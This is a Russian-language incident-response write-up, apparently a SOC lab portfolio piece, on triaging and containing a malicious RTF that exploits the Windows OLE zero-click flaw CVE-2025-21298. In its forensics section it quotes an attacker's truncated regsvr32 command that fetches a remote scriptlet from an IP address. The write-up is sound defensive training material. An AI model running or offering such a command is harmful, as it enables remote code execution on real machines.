Реагирование на инциденты: Windows OLE Zero-Click RCE (CVE-2025-21298)

Обзор проекта

Этот проект документирует сквозное расследование и сдерживание попытки удаленного выполнения кода (RCE) нулевого клика критической степени серьезности. Используя телеметрию EDR и разведку угроз, я идентифицировал атаку "Living off the Land" (LotL), которая обошла автоматические защиты и установила связь с командным центром (C2).

Ключевые задачи

• Проводить триаж оповещений SIEM с высоким приоритетом для эксплойтов нулевого дня.
• Выполнять статический анализ вредоносных RTF-вложений.
• Проводить криминалистику конечных точек для выявления вредоносных деревьев процессов.
• Выполнять изоляцию сети через EDR для сдерживания активных угроз.

---

Выполнение жизненного цикла инцидента (NIST SP 800-61)

1. Обнаружение и первичный триаж

Я идентифицировал событие с ID 314: Обнаружение Windows OLE Zero-Click RCE. Первоначальная телеметрия показала, что вредоносный файл mail.rtf был Разрешён периметровыми защитами, что указывает на активную компрометацию рабочей станции 'Austin'.

2. Статический анализ и разведка угроз

Я выполнил проверку репутации хеша файла на VirusTotal. Результаты подтвердили уровень обнаружения 25/55, конкретно идентифицируя файл как вредоносный RTF, использующий CVE-2025-21298. Эта уязвимость позволяет удалённо выполнять код через панель предварительного просмотра Windows без взаимодействия с пользователем.

3. Криминалистика конечных точек (Охота на полезную нагрузку)

Я переключился на историю терминала EDR для хоста 'Austin', чтобы выявить постэксплуатационное поведение. Я обнаружил вредоносное выполнение "Living off the Land" (LotL):

• Команда: regsvr32.exe /s /u /i:http://84.38.130.118/...
• Аналитическое замечание: Злоумышленник использовал подписанный двоичный файл Windows (regsvr32.exe) для получения вредоносного скриптлета с удалённого сервера, обходя стандартную белую список приложений и традиционные антивирусные сигнатуры.

4. Сдерживание и нейтрализация

Следуя структуре реагирования на инциденты NIST, приоритет был отдан немедленному сдерживанию. Я выполнил изоляцию сети на поражённом хосте для прекращения связи C2 и предотвращения бокового перемещения в корпоративной сети.

5. Разрешение и итоговый отчёт

Инцидент был закрыт как True Positive. Я задокументировал IP-адрес злоумышленника (84.38.130.118) и криминалистические доказательства для команд разведки угроз и межсетевого экрана, чтобы предотвратить будущие инциденты.

---

Индикаторы компрометации (IOCs)

Ключевые выводы

• Эшелонированная защита: Эксплойты нулевого клика доказывают, почему сигнатурные антивирусы недостаточны для современных угроз.
• Корреляция журналов: Успешно скоррелировал данные оповещений SIEM с журналами терминала EDR для подтверждения активной эксплуатации.
• Навыки работы с EDR: Отработал быстрое сдерживание хоста для минимизации "времени пребывания" злоумышленника.